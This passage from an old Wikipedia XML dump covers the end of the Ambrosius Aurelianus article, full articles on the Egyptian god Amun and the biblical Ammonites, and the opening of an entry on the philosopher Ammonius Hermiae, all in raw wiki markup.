S. Appelbaum has suggested that [[Amesbury]] in [[Wiltshire]] might preserve in it the name of Ambrosius, and perhaps Amesbury was the seat of his power base in the later fifth century.  Place name scholars have found a number of [[Toponymy|place names]] through the Midland dialect regions of Britain with placenames incorporating the ''ambre-'' element: [[Ombersley]] in [[Worcestershire]], [[Ambrosden]] in [[Oxfordshire]], Amberley in [[Herefordshire]], and Amberley in [[Gloucestershire]]. These scholars have claimed this element rerpresents an [[Old English language|Old English]] word ''amor'', the name of a woodland bird. However, [[Amesbury]] in Wiltshire is in a different dialect region, and does not easily fit into the pattern of the Midland dialect place names. This makes Appelbaum's suggestion more likely. If we combine this etymology with the tradition reported by Geoffrey of Monmouth stating Ambrosius Aurelianus ordered the building of [[Stonehenge]] &amp;mdash; which is located within the parish of Amesbury (and where Ambrosius was supposedly buried) &amp;mdash; and with the presence of an [[Iron age]] [[hill fort]] also in that parish, then it is extremely tempting to connect this shadowy figure with Amesbury.

== Aurelianus in fiction ==
In [[Marion Zimmer Bradley]]'s ''[[The Mists of Avalon]]'', Aurelianus is depicted as the aging High King of Britain, a &quot;too-ambitious&quot; son of a Western Roman Emperor. His sister's son is Uther Pendragon, but somehow, Uther is described as not having any Roman blood in him. Strangely, Aurelianus is unable to gather the leadership of the native Celts, who refuse to follow any but their own race.

In [[Stephen R. Lawhead]]'s ''[[Pendragon Cycle]]'', Ambrosius Aurelianus (referred to as &quot;[[Aurelius]]&quot;) is a minor character, being assassinated soon after becoming [[High King]] of [[Prydein]]. Lawhead alters the standard Arthurian story somewhat, in that he has Aurelius marry [[Igraine]] and become the true father of [[King Arthur]].

In [[Valerio Massimo Manfredi]]'s ''[[The Last Legion]]'', Aurelianus is a major character that is shown as the last loyal Roman that goes to enormous lengths for his boy emperor [[Romulus Augustus]] , whose power has been wrested by the barbarian [[Odoacer]]. In this story [[Romulus Augustus]] marries [[Igraine]], and ''[[Caliban]]'', the sword of [[Julius Caesar]], becomes the legendary [[Excalibur]] in Britain.

In [[Rosemary Sutcliff]]'s ''[[The Lantern Bearers (Sutcliff novel)|The Lantern Bearers]]'' Prince Ambrosius Aurelianus drives out the Saxons by training his British army with Roman techniques and making effective use of cavalry.  By the end of the novel, the elite cavalry wing is led by a dashing young warrior prince named Artos, who Sutcliff postulates to be the real Arthur.

[[Mary Stewart]]'s ''The Crystal Cave'' follows Geoffrey of Monmouth in calling him Aurelius Ambrosius and portrays him as the father of Merlin, the elder brother of Uther (hence uncle of Arthur), an initiate of [[Mithras]], and generally admired by everyone except the Saxons. Much of the book is set at his court in Brittany or during the campaign to retake his throne from Vortigern. Later books in the series show that Merlin's attitude toward Arthur is influenced by his belief that Arthur is a reincarnation of Ambrosius, who is seen through Merlin's eyes as a model of good kingship.

Judging by his situation (a Romano-British living in post-Roman Britain and fighting Mons Badonicus), the titular character from the 2004 movie ''[[King Arthur (2004 movie)|King Arthur]]'' was based on Aurelianus, despite the fact that his name ([[Lucius Artorius Castus|Artorius Castus]]) comes from another historical source for Arthur.

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  title=[[King of the Britons|Mythical British Kings]]|
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[[Category:5th century births]]
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[[Category:Ancient Britons]]
[[Category:Ancient Romans]]
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[[Category:British traditional history]]
[[Category:Arthurian legend]]
[[Category:Mythological kings]]

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  <page>
    <title>Amun</title>
    <id>1721</id>
    <revision>
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      <timestamp>2006-03-03T01:06:17Z</timestamp>
      <contributor>
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      <text xml:space="preserve">:''For the people in the Bible, see [[Ammon (nation)]]. For the extinct mollusc see [[Ammonite]].''

:''For the game by [[Reiner Knizia]], see [[Amun-Re (game)]]

'''Amun''' (also spelt '''Amon''', '''Amoun''', '''Amen''', and rarely '''Imenand''', and spelt in [[Greek language|Greek]] as '''Ammon''', and '''Hammon''') was the name of a [[deity]], in [[Egyptian mythology]], who gradually rose to become one of the most important deities, before fading into obscurity.

{{Hiero|Amun|&lt;hiero&gt;i-mn:n-C12&lt;/hiero&gt;|align=right|era=egypt}}
==God of Air==
Originally, he was simply nothing more than a deification of the concept of air, and thus [[wind]], one of the four fundamental concepts held to have composed the primordial universe, in the [[Ogdoad]] [[cosmogeny]], whose cult was strongest in [[Hermopolis]]. His name reflects this function, since it means ''the hidden one'', reflecting the invisibility of the air, and of the wind. Like all other members of the Ogdoad, his male aspect was usually depicted as a frog, or frog-headed. Symbolically, invisibility was represented by the [[colour]] [[blue]], since it was the colour of the [[sky]], seen through the air, and so this was the colour usually given to Amun's image.

As with the other concepts in the Ogdoad, he was dualistically considered to have a female aspect, referred to as '''[[Amunet]]''' (also spelt '''Amentet''', '''Amentit''', '''Imentet''', '''Imentit''', '''Amaunet''', and '''Ament'''), which was simply the [[feminine]] form of the word ''Amun''. The other female aspects of the Ogdoad were all depicted as snakes, thus Amunet was depicted likewise.

==Creator==
[[Image:Amon and mut.png|170px|thumb|left|Amun and Mut]]

Gradually, as god of air, he came to be associated with the ''breath of life'', which created the [[Egyptian soul|ba]], particularly in [[Thebes, Egypt|Thebes]]. By the [[First Intermediate Period]] this had led to him being thought of, in these areas, as the creator god, titled ''father of the gods'', preceding the Ogdoad, although also part of it. As he became more significant, he was assigned a wife (Amunet being his own female aspect, more than a distinct wife), and since he was the creator, his wife was considered the divine mother from which the cosmos emerged, who in the areas where Amun was worshipped was, by this time, [[Mut]].

Amun became depicted in [[human]] form, seated on a throne, wearing on his head a plain deep circlet from which rise two straight parallel plumes, possibly symbolic of the tail [[feather]]s of a [[bird]], a reference to his earlier status as a wind god. 

Having become more important than [[Menthu]], the local [[war]] [[god]] of Thebes, Menthu's authority became said to exist because he was the son of Amun. However, as Mut was infertile, it was believed that she, and thus Amun, had adopted Menthu instead. In later years, due to the shape of a [[pool]] outside the sacred temple of Mut at Thebes, Menthu was replaced, as their adopted son, by [[Chons]], the [[lunar deity|moon god]].

==King==
[[Image:Amun5.jpg|thumb|right|200px|Bas-relief depicting Amun as king.]]
With the eviction of the [[Hyksos]] rulers from Egypt, by the [[army|armies]] of the [[Eighteenth dynasty of Egypt|Eighteenth dynasty]], Thebes, where the victors were based, became the most important city, and so Amun became nationally important. To Amun the [[Pharaoh]]s attributed all their successful enterprises, and on his temples they lavished their wealth and captured spoil. And so, when the Greeks reported back on their [[tourism|visits]] to Egypt, Amun, as king of the gods, became identified by the Geeks with [[Zeus]], and so his consort [[Mut]] with [[Hera]].

As the Egyptians considered themselves opressed during he period of Hyksos rule, the victory under the supreme god Amun, was seen as his championing of the [[underdog]]. Consequently, Amun was viewed as upholding the rights to justice of the poor, being titled ''[[Vizier]] of the poor'', and aiding those who travelled in his name,as the ''Protector of the road''. Since he upheld [[Ma'at]], those who prayed to Amun were required first to demonstrate that they were worthy, by confessing their sins.

==Fertility God==
[[image:Chem.jpg|right|thumb|190px|Amun-Min]]
When, subsequently, Egypt conquered [[Kush]], they identified the chief deity of the Kushites as Amun. This deity was depicted as [[Ram]] headed, specifically a [[wool]]ly Ram with curved [[horn (anatomy)|horns]], and so Amun started becoming associated with the Ram. Indeed, due to the aged appearance of it, they came to believe that this had been the original form of Amun, and that Kush was where he had been born.

However, since rams, due to their [[rutting]], were considered a symbol of [[virility]], Amun became thought of as a fertility deity, and so started to absorb the identity of [[Min (god)|Min]], becoming ''Amun-Min''. This association with virility lead to ''Amun-Min'' gaining the [[epithet]] ''Kamutef'', meaning ''Bull of his mother'', in which form he was often found depicted on the walls of [[Karnak]], [[ithyphallic]], and with a [[scourge]].

==Sun God==
{{Hiero|Amun-Ra|&lt;hiero&gt;i-mn:n-ra:Z1-C1&lt;/hiero&gt;|align=left|era=egypt}}
As Amun's cult grew bigger, Amun rapidly became identified with the chief God that was worshipped in other areas, ''Ra-Herakhty'', the merged identities of [[Ra]], and [[Horus]]. This identification led to a merger of identities, with Amun becoming ''Amun-Ra''. As [[Ra]] had been the father of [[Shu]], and [[Tefnut]], and the remainder of the [[Ennead]], so Amun-Ra was likewise identified as their father.

Ra-Herakhty had been a [[solar deity|sun god]], and so this became true of Amun-Ra as well, Amun becoming considered the ''hidden'' aspect of the sun (e.g. during the night), in contrast to Ra-Herakhty as the ''visible'' aspect, since Amun clearly meant ''the one who is hidden''. This complexity over the sun led to a gradual movement towards the support of a more pure form of deity. Thus the pharaoh, [[Akhenaten|Amenhotep IV]] introduced the worship of [[Aten]], the sun's [[disc]] itself, identifying it as Amun-Ra.

Although [[Atenism]], the worship of Aten, had started out as standard [[henotheism]], it very quickly became, for reasons that are not very clear, entirely [[monotheism|monotheistic]]. Indeed, it is even possible that this is the first instance of monotheism in the world. Subsequently, Amenhotep IV started persecuting the worship of Amun, and erased the name from monuments, even changing his own name to [[Akhenaten]] in favour of Aten. 

However, this abrupt change was unpopular, particularly with the previous [[priesthood]]s, who had now suddenly found themselves without power. Consequently, when Akhenaten died, his name was struck out, and all his changes undone, almost as if they had not occurred. The correct form of mentioning about Akhenaten were figures akin to 'crazy one from Akhetaten'. Worship of Aten was replaced, and that of Amun-Ra restored. The priests persuaded the new underage pharaoh [[Tutankhaten]] (most likely Akhenaten's son), the &quot;live image of  Aten&quot;,  to change his name to [[Tutankhamun]], the &quot;live image of Amun&quot;.

==Decline==
After the [[Twentieth dynasty of Egypt|Twentieth dynasty]] moved the centre of power back to Thebes, the powerbase of Amun's cult had been renewed, and the authority of Amun began to stack. Under the [[Twenty-first dynasty of Egypt|Twenty-first dynasty]] the secondary line of priest kings of Thebes upheld his dignity to the best of their power, and the [[Twenty-second dynasty of Egypt|Twenty-second]] favoured Thebes. 

As the sovereignty weakened the division between Upper and Lower Egypt asserted itself, and thereafter Thebes would have rapidly decayed had it not been for the piety of the kings of [[Nubia]] towards Amun, whose worship had long prevailed in their country.  Thebes was at first their Egyptian capital, and they honoured Amun greatly, although their wealth and culture were not sufficient to affect much.

However, in the rest of Egypt, his cult was rapidly overtaken, in popularity, by the less divisive cult of the [[Legend of Osiris and Isis]], which had not been associated with Akhenaten's actions. And so there, his identity became first subsumed into Ra (''Ra-Herakhty''), who still remained an identifiable figure in the [[Osiris]] cult, but ultimately, became merely an aspect of [[Horus]].

In areas outside of Egypt, where the Egyptians had previously brought the worship of Amun, Amun's fate was not as bad. In Nubia, where his name was pronounced '''Amane''', he remained the national god, with his priesthoods at [[Meroe]] and [[Nobatia]], via an [[oracle]], regulating the whole government of the country, choosing the king, and directing his military expeditions. According to [[Diodorus Siculus]], they were even able to compel kings to commit suicide, although this behaviour stopped when [[Arkamane]], in the [[3rd century BC]], [[slaughter|slew]] them.

Likewise, in [[Libya]], there remained an oracle of Amun in [[Libyan Desert|the desert]], at the [[oasis]] of [[Siwa Oasis|Siwa]]. Such was its reputation among the Greeks that [[Alexander the Great]] journeyed there, after the [[battle of Issus]], and during his occupation of Egypt, in order to be acknowledged the son of the god. Even during this occupation, Amun, identified as a form of [[Zeus]], continued to be the great god of Thebes, in its decay.

----
{{1911}}

==Derived Terms==

Several words derive from Amun via the Greek form Ammon: [[ammonia]] and [[ammonite]]. Ammonia, as well as being the chemical, is a genus name in the [[foraminifera]]. Both these foraminiferans (shelled [[Protozoa]]) and ammonites (extinct shelled [[cephalopod]]s) have/had spiral shells resembling a ram's, and Ammon's, horns.  Ammonia the chemical derives its name in a more round-about way &amp;ndash; see end of article [[ammonia]]. The regions of the [[hippocampus]] in the [[brain]] are called the ''[[cornu ammonis]]'' &amp;ndash; literally &quot;Amun's Horns&quot;, due to the horned appearance of the dark and light bands of [[cell (biology) | cellular]] layers.

==References==
*[[Adolf Erman]], ''Handbook of Egyptian Religion'' (London, 1907)
*[[Ed. Meyer]], article &quot;Ammon&quot; in [[W. H. Roscher]]'s ''Lexikon der griechischen und römischen Mythologie''
*[[Pietschmann]], articles &quot;Ammon&quot; and &quot;Ammoneion&quot; in [[Pauly-Wissowa]], ''Realencyclopädie.''

==External links==
*[http://www.ancientlibrary.com/wcd/Ammon Wiki Classical Dictionary: Ammon]
*[http://www.maat.sofiatopia.org/amun.htm Leiden Hymns to Amun]

[[Category:Egyptian gods]]

[[ar:أمون]]
[[bg:Амон]]
[[ca:Ammon]]
[[da:Amon]]
[[de:Amun (Ägyptische Mythologie)]]
[[et:Amon]]
[[es:Amón (mitología)]]
[[eu:Amon]]
[[fr:Amon]]
[[ko:아문]]
[[it:Amon]]
[[lt:Amonas]]
[[nl:Amon (mythologie)]]
[[ja:アメン]]
[[pl:Amon]]
[[pt:Amon]]
[[ro:Ammon]]
[[ru:Амон]]
[[sk:Amón]]
[[fi:Amon]]
[[sv:Amon]]
[[tr:Amun]]
[[uk:Амон]]
[[zh:阿蒙]]</text>
    </revision>
  </page>
  <page>
    <title>Ammon</title>
    <id>1722</id>
    <revision>
      <id>39998943</id>
      <timestamp>2006-02-17T11:25:56Z</timestamp>
      <contributor>
        <username>Meegs</username>
        <id>406581</id>
      </contributor>
      <minor />
      <comment>bypassed [[Providence]] disambiguation page</comment>
      <text xml:space="preserve">'''Ammon''' or '''Ammonites''' ('''&amp;#1506;&amp;#1463;&amp;#1502;&amp;#1468;&amp;#1493;&amp;#1465;&amp;#1503;''' &quot;People&quot;, [[Standard Hebrew]] '''&amp;#699;Ammon''', [[Tiberian Hebrew]] '''&amp;#699;Ammôn'''), also referred to in the [[Bible]] as the &quot;children of Ammon,&quot; were a people living east of the [[Jordan river]], who along with the [[Moabites]] traced their origin to [[Lot (biblical)|Lot]], the nephew of the patriarch [[Abraham]], and who were regarded as close relatives of the [[Israelites]] and [[Edomites]].  

==Territory==

The borders of the Ammonite territory are not clearly defined in the Bible. In [[Book of Judges|Judges]] xi. 13, the claim of the king of Ammon, who demands of the Israelites the restoration of the land &quot;from [[Arnon]] even unto [[Jabbok]] and unto [[Jordan River|Jordan]],&quot; is mentioned only as an unjust claim (xi. 15), inasmuch as the Israelite part of this tract had been conquered from the [[Amorite]] king [[Sihon]] who had, in turn, displaced the Moabites; in Judges xi. 22 it is stated that the Israelites had possession &quot;from the wilderness even unto Jordan,&quot; and that they laid a claim to territory beyond this, so as to leave no room for Ammon. The [[Book of Numbers]] xxi. 24 describes the Hebrew conquest (compare Judges, xi. 19) as having reached &quot;even unto the children of Ammon, for the border of the children of Ammon was [[Jazer]]&quot; (read the last word, with [[Septuagint]], as &quot;Jazer,&quot; instead of &quot;'az,&quot; strong, A. V.; compare Judges, xi. 32). Josh. xiii. 25, defines the frontier of the tribe of Gad as being &quot;Jazer ... and half the land of the children of Ammon.&quot; The latter statement can be reconciled with Num. xxi. 24 (Deut. ii. 19, 37) only by assuming that the northern part of Sihon's Amorite kingdom had formerly been Ammonite. This explains, in part, the claim mentioned above (Judges, xi. 13). According to Deut. ii. 37, the region along the river Jabbok and the cities of the hill-country formed the border-line of Israel. On the authority of Deut. ii. 20, their territory had formerly been in the possession of a mysterious nation, the Zamzummim (also called Zuzim), and the war of [[Chedorlaomer]] (Gen. xiv. 5) with this nation may be connected with the history of Ammon. When the Israelites invaded Canaan, they passed by the frontier of the Ammonites (Num. xxi. 24; Deut. ii. 19, 37; Josh. xiii. 25).

From their original territory the Ammonites are supposed to have been expelled by [[Sihon]], king of the [[Amorites]], who was said to have been found by the Israelites, after their deliverance from [[Egypt]], in possession of [[Gilead]], that is, of the whole country on the left bank of the Jordan, lying to the north of the Arnon ([[Book of Numbers|Numbers]] 21:13). By this invasion, the Ammonites were driven out of Gilead across the upper waters of the Jabbok where it flows from south to north, which henceforth continued to be their western boundary (Numbers 21:24; Deuteronomy 2:37 and 3:16). The other limits of the Ammonitis, or country of the Ammonites ('Lmmanitis chora', [[2 Maccabees]] 4:26) were not exactly defined.  On the south it probably adjoined the land of Moab; on the north it may have met that of the king of [[Geshur]] ([[Joshua]] 12:5); and on the east it may have melted away into the desert peopled by [[Kedarites]] and other nomadic tribes. 

The chief city of the country was ''[[Rabbah]]'' or ''Rabbath Ammon'', i.e. the metropolis of the Ammonites (Deut. 3:11), called ''Rabbathammana'' by the later [[Greeks]] ([[Polybius]] v. 7. 4).  [[Ptolemy Philadelphus]] changed its name to Philadelphia, and made it a large and strong city with an [[acropolis]], situated on both sides of a branch of the Jabbok, today known as Nahr `Amman, the river of Ammon -- whence the designation &quot;city of waters&quot; ([[2 Samuel]] 12:27); see Survey of E. Pal (Pal. Explor. Fund), pp. 19ff. The city of [[Amman, Jordan]] is located on roughly the same site. The country to the south and east of Amman is distinguished by its fertility; and ruined towns are scattered thickly over it, attesting that it was once occupied by a population that, however fierce, was settled and industrious; a fact indicated also by the tribute of grain paid annually to [[Jotham of Judah|Jotham]] (2 Chr. 27:5).

==In the [[Torah]], [[Book of Joshua|Joshua]] and [[Book of Judges|Judges]]==

===Descent===

According to the pedigree given in [[Genesis]] xix. 37-38, the Ammonites were closely related to the Israelites and still more closely to their neighbors in the south, the Moabites. This relationship is supported by the fact that all names of Ammonitish persons show a pure [[Canaanite languages|Canaanite]] character. But the above passage indicates also the contempt and hatred for the Ammonites felt by the Hebrews ([[Deuteronomy]] xxiii. 4). The Torah excludes the progeny of Ammonites from the assembly of the Lord (but cf. Deut. ii. 19, 37, in which the consciousness of relationship seems to be at the root of the regard shown to Ammon).

Both the Ammonites and Moabites are sometimes spoken of under the common name of the children of Lot ([[Deuteronomy]] 2:19; [[Psalms]] 83:8).  Both tribes hired [[Balaam]] to curse [[Israel]], which he instead blessed (Deut. 23:4).  Also known as the ''Beni-ammi'' ([[Genesis]] 19:38), the Ammonites and the Israelites, throughout the Old Testament and recorded history, were antagonists.

===Role in the Israelite Exodus===

When the Israelites of the Exodus paused before their territory, the Ammonites prohibited them from passing through their lands. For this act, they were denied entry into &quot;the congregation of the Lord&quot; until ten generations had passed (Deuteronomy 23:3). 

Sometimes a slight distinction only seems to be made between the Ammonites and their southern brothers, the Moabites. Deut. xxiii. 4, 5, for instance, states that the Ammonites and Moabites hired [[Balaam]] to curse the Israelites, while in Num. xxii. 3 et seq. Moab alone is mentioned. Some authorities overcome this discrepancy by the help of the emended text of Num. xxii. 5, according to which Balaam came &quot;from the land of the children of Ammon.&quot; This is the reading of most ancient versions; the Septuagint, however, has it like the present Hebrew text: &quot;the children of his people&quot; (&quot;ammo&quot;) (see Balaam). 

===In the time of the Judges===

In Judges, iii. 13, the Ammonites appear as furnishing assistance to King [[Eglon]] of Moab against Israel; but in Judges, x. 7, 8, 9, in which not only Gilead is oppressed but a victorious war is waged also west of the Jordan, Ammon alone is mentioned. The speech of Jephthah which follows, however, is clearly addressed to the Moabites as well, for he speaks of their god [[Chemosh]] (Judges, xi. 18-24). Some scholars find that these varying statements conflict (compare Deut. xxiii. 3); others conclude that the brother-nations still formed a unit. The small nation of Ammon could face Israel only in alliance with other non-Israelites (compare II Chron. xx. and Ps. lxxxiii. 7). The attack of King [[Nahash]] upon the frontier city Jabesh in Gilead was easily repulsed by Saul (I Sam. xi., xiv. 47).

==During the Kingdoms of [[Kingdom of Israel|Israel]] and [[Kingdom of Judah|Judah]]==

Attacks by the Ammonites on Israelite communities east of the Jordan were the impetus behind the unification of the tribes under [[Saul the King|Saul]], who defeated them. ([[Books of Samuel|1 Samuel]] 11:11). 

From II Sam. x. 2, it may be concluded that [[Nahash]] assisted David out of hatred for Saul; but his son [[Hanun]] provoked David by ill-treating his ambassadors, and brought about the defeat of the Ammonites, despite assistance from their northern neighbors in [[Aram]] (ibid. x. 13). Their capital Rabbah was captured (ibid. xii. 29), and numerous captives were taken from &quot;all the cities of the children of Ammon.&quot; 

In 2 Samuel 12:31, King David is described slaughtering Ammonites:
:''And he brought forth the people that were therein, and put them under saws, and under harrows of iron, and under [[axe]]s of iron, and made them pass through the [[brick]]-[[kiln]]: and thus did he unto all the cities of the children of Ammon.''
 
David's treatment of the captives (ibid. xii. 31) was not necessarily barbarous; the description may be interpreted to mean that he employed them as laborers in various public works. Some scholars claim that these passages recount symbolic gestures of submission common to the times rather than actual reports of massacres. The Chronicler, however, takes it in the most cruel sense (I Chron. xx. 3). The Ammonites, themselves, had a reputation for exceeding cruelty in warfare (I Sam. xi. 2; [[Amos]], i. 13). The new king, [[Shobi]], a brother of Hanun, evidently appointed by David, kept peace, his attitude being even friendly (II Sam. xvii. 27). There were Ammonite [[mercenaries]] in David's army (ibid. 23, 27) and Solomon's chief wife, the mother of his heir, was Naamah, the Ammonitess (I Kings, xiv. 21; compare xi. 1), probably a daughter of Shobi. She became the mother of [[Rehoboam]] ([[Books of Kings|1 Kings]] 14:31; [[Books of Chronicles|2 Chronicles]] 12:13).

After this, hostilities again broke out, under [[Jehoshaphat]] (II Chron. xx.), [[Jeroboam II]] (Amos, i. 13) and under [[Jotham]], who subjected the Ammonites (II Chron. xxvii. 5).

From the [[Assyria|Assyrian]] inscriptions, we learn that the Ammonite king [[Baasha ben Ruhubi| Ba'sa (Baasha)]] son of [[Ruhubi]], with 1000 men, joined [[Ahab]] and the Syrian allies against [[Shalmaneser III]] at the [[Battle of Karkar]] in [[853 BC]]. They may at this time have been [[vassal]]s of [[Bar-Hadad II]], the Aramaean king of [[Damascus]]. In [[734 BC|734]] their king [[Sanipu]] was a vassal of [[Tiglath-Pileser III]] and his successor, [[Pudu-ilu]], held the same position under [[Sennacherib]] and [[Esarhaddon]]. An Assyrian [[tribute]]-list from this period, showing that Ammon paid one-fifth of Judah's tribute, gives evidence of the scanty extent and resources of the country (see Schrader, &quot;K.A.T.&quot; pp. 141 et seq.; Delitzsch, &quot;Paradies,&quot; p. 294; Winckler, &quot;Geschichte Israels,&quot; p. 215).

Somewhat later, their king [[Amminadab (Ammon)|Amminadab I]] was among the tributaries who suffered in the course of the great Arabian campaign of [[Assurbanipal]]. Other kings attested to in contemporary sources are [[Barakel]] (attested to in several contemporary [[seal (device)|seal]]s and [[Hissalel]] who reigned about 620 BCE (and who is mentioned on an inscription on a bottle found at [[Tel Siran]], Jordan along with his son, King Amminadab II, who reigned around 600 BCE.)

With the neighbouring tribes, the Ammonites under King [[Baalis]] helped the [[Babylonian]] monarch [[Nebuchadrezzar II|Nebuchadrezzar]] against [[Jehoiakim]] (2 Kings 24:2); and if they joined [[Zedekiah]]'s conspiracy ([[Book of Jeremiah|Jeremiah]] 27:3), and were threatened by the [[Babylonian]] army ([[Book of Ezekiel|Ezekiel]] 21:20), they do not appear to have suffered greatly.

==Subsequent History==

[[Image:Levant 800.png|thumb|400px|right|Map of the southern [[Levant]], c.[[800 BCE]].]]

In the time of [[Nebuchadnezzar II|Nebuchadnezzar]], the Ammonites seem to have been fickle in their political attitude. They assisted the [[Babylonia]]n army against the Jews (II Kings, xxiv. 2); encroached upon the territory of the [[Tribe of Gad|Gad]]; and occupied [[Heshbon]] and [[Jazer]] ([[Jeremiah]] xlix. 1; ''cf.'' [[Zephaniah]] ii. 8); but the prophetic threatenings in Jer. ix. 26, xxv. 21, xxvii. 3, and [[Ezra]], xxi. 20, point to rebellion by them against Babylonian supremacy. They received [[Jew]]s fleeing before the Babylonians (Jer. xl. 11), and their king, [[Baalis]], instigated the murder of [[Gedaliah]], the Babylonians' Jewish governor of Jerusalem and its environs (ibid. xl. 14, xli. 15). 

At the time of the rebuilding of Jerusalem by Ezra and [[Nehemiah]], they were hostile to the Jews, and [[Tobiah]], an Ammonite (possibly the governor of Ammon), incited them to hinder the work (Neh. iii. 35). But inter-marriages between Jews and Ammonites were frequent (Ezra, ix. 1; I Esd. viii. 69, and elsewhere). 

Little mention is made of the Ammonites through the [[Persian Empire|Persian]] and early [[Hellenistic]] periods. Their name appears, however, during the time of the [[Maccabees]]. The Ammonites, with some of the neighbouring tribes, did their utmost to resist and check the revival of the Jewish power under [[Judas Maccabaeus]] ([[1 Maccabees]] v. 6; cf.  [[Josephus]] ''Ant. Jud.'' xii. 8. 1.). 

It is stated (I Macc. v. 6) that the Ammonites under [[Timotheus (Ammon)|Timotheus]] were defeated by Judas; but it is possible that, after the exile, the term Ammonite denoted all peoples living in the former country of Ammon and Gad. [[Ezekiel]] xxv. 4-5 seems to mark the beginning of an immigration of tribes from the [[Arabian]] desert (''cf.'' Neh. ii. 19, iv. 7, Josephus, &quot;Ant.&quot; xiii. 9, § 1).

The last notice of the Ammonites themselves is in [[Justin Martyr]] (''Dial. cum Tryph.'' sec.  119), where it is affirmed that they were still a numerous people.

==[[Language]]==
''Main Article: [[Ammonite language]]''

The few Ammonite names that have been preserved (Nahash, [[Hanun]], and those mentioned above; [[Zelek]] in 2 Samuel 23:37 is textually uncertain) testify, in harmony with other considerations, that their language was [[Semitic]], closely allied to the [[Hebrew language]] and the [[Moabite language]].

==[[Religion]]==

Of the customs, religion, and constitution of the Ammonites, little is known. The frequent assumption that, living on the borders of the desert, they remained more pastoral than the Moabites and Israelites, is unfounded (Ezek. xxv. 4, II Chron. xxvii. 5); the environs of Rabbah, at least, were fertile and were tilled. In regard to other cities than Rabbah, see Judges, xi. 33; II Sam. xii. 31. Of their gods the name of only the chief deity, [[Milcom]] (sometimes given as [[Moloch]]), as in I Kings, xi. 5 [LXX. 7], 33; I Kings, xi. 7; II Kings, xxiii. 13). In Jer. xlix. 1, 3, &quot;Malcam&quot; is to be translated by &quot;Milcom&quot; (the god) and not as in A. V., &quot;their king.&quot; In the Bible Milcom is described as having been worshipped with [[human sacrifice]].

From the names of their kings, it seems logical that the [[cult]] of the [[Baal]]im probably coexisted in Ammon, as, possibly, that of [[El (god)|El]]. The name Tobiah suggests that [[YHWH]] may have been worshipped in Ammon as well; possibly this was an import from the era of Israelite domination. Other inscriptions and names suggest the possibility that such gods as the [[Edomite]] deity [[Kaus]] had Ammonite cults.

==Economy==

Like its sister-kingdom of Moab, Ammon was the source of numerous natural resources, including [[sandstone]] and [[limestone]]. It had a productive agricultural sector and occupied a vital place along the [[King's Highway (ancient)|King's Highway]], the ancient trade route connecting Egypt with [[Mesopotamia]], [[Syria]], and [[Anatolia]]. As with the Edomites and Moabites, trade along this route gave them considerable revenue.

==In [[Jewish law]]==

The Ammonites, still numerous in the south of [[Palestine (region)|Palestine]] in the second Christian century according to Justin Martyr (&quot;Dialogus cum Tryphone,&quot; ch. cxix.), presented a serious problem to the [[Pharisees]] because many marriages with Ammonite and Moabite wives had taken place in the days of Nehemiah (Neh. xiii. 23). Still later, it is not improbable that when Judas Maccabeus had inflicted a crushing defeat upon the Ammonites, Jewish warriors took Ammonite women as wives, and their sons, sword in hand, claimed recognition as Jews notwithstanding the law (Deut. xxiii. 4) that &quot;an Ammonite or a Moabite shall not enter into the congregation of the Lord.&quot; Such a condition or a similar incident is reflected in the story told in the [[Talmud]] (Yeb. 76b, 77a; Ruth R. to ii. 5) that in the days of King Saul the legitimacy of David's claim to royalty was disputed on account of his descent from Ruth, the Moabite; whereupon [[Ithra]], the Israelite (II Sam. xvii. 25; compare I Chron. ii. 17), girt with his sword, strode like an Ishmaelite into the schoolhouse of [[Jesse]], declaring upon the authority of [[Samuel]], the prophet, and his [[bet din]] (court of justice), that the law excluding the Ammonite and Moabite from the Jewish congregation referred only to the men—who alone had sinned in not meeting Israel with bread and water—and not to the women. The story reflects actual conditions in pre-Talmudic times, conditions that led to the fixed rule stated in the [[Mishnah]] (Yeb. viii. 3): &quot;Ammonite and Moabite men are excluded from the Jewish community for all time; their women are admissible.&quot;

The fact that Rehoboam, the son of King Solomon, was born of an Ammonite woman (I Kings, xiv. 21-31) also made it difficult to maintain the [[Messiah|messianic]] claims of the [[Davidic line|house of David]]; but it was adduced as an illustration of divine [[Divine providence|Providence]] which selected the &quot;two doves,&quot; [[Ruth]], the Moabite, and Naamah, the Ammonite, for honorable distinction (B. Ḳ. 38b).

==Resources==

*[http://www.hostkingdom.net/Jordan.html#Ammon Ammon on Bruce Gordon's Regnal Chronologies] (also at [http://ellone-loire.net/obsidian/Jordan.html#Ammon])
*[http://www.kinghussein.gov.jo/his_testament.html Jordanian government site on ancient Trans-Jordanian kingdoms]
*[http://ancientneareast.tripod.com/Ammonites.html Ancient Biblical Ammonites]
*[http://ancientneareast.tripod.com/Umayri_Keramim.html Tel Umayri]
*[http://www.newadvent.org/cathen/01431b.htm Catholic Encyclopedia article]
*[http://www.jewishencyclopedia.com/view.jsp?artid=1414&amp;letter=A Jewish Encyclopedia article]

{{eastons}}

{{1911}}
{{JewishEncyclopedia}}

[[Category:Ammon]]
[[Category:Ancient Israel and Judah]]
[[Category:Ancient peoples]]
[[Category:History of Jordan]]
[[Category:Tanakh people]]
[[Category:Torah people]]

[[ca:Ammonites]]
[[de:Ammoniter]]
[[he:עמון]]
[[ru:Аммонитяне]]</text>
    </revision>
  </page>
  <page>
    <title>Ammonius Hermiae</title>
    <id>1723</id>
    <revision>
      <id>39511401</id>
      <timestamp>2006-02-14T00:31:35Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">'''Ammonius Hermiae''' ([[5th century]] AD) was a [[Byzantine Empire|Greek]] [[philosopher]], and the son of [[Hermias]] or Hermeias, a fellow-pupil of [[Proclus]]. He taught at [[Alexandria]], and had among his scholars [[Asclepius]], [[John Philoponus]], [[Damascius]] and [[Simplicius of Cilicia|Simplicius]]. 

Of his reputedly numerous writings, his commentaries on [[Plato]] and [[Ptolemy]] are lost, but we have:
#A commentary on the ''Isagoge'' of [[Porphyry (philosopher)|Porphyry]] (Venice, 1500 fol.);
#A commentary on the ''Categories'' (Venice, 1503 fol.), the authenticity of which is doubted by [[C. A. Brandis]]; 
#A commentary on the ''De Interpretatione'' (Venice, 1503 fol.). They are printed in Brandis's [[scholia]] to Aristotle, forming the fourth volume of the [[Berlin]] Aristotle; they are also edited (1891-1899) in A. Busse's ''Commentaria in Aristot. Graeca''. The special section on fate was published separately by [[J. C. Orelli]], ''Alex. Aphrod., Ammonii, et aliorum de Fato quae supersunt'' (Zurich, 1824).  
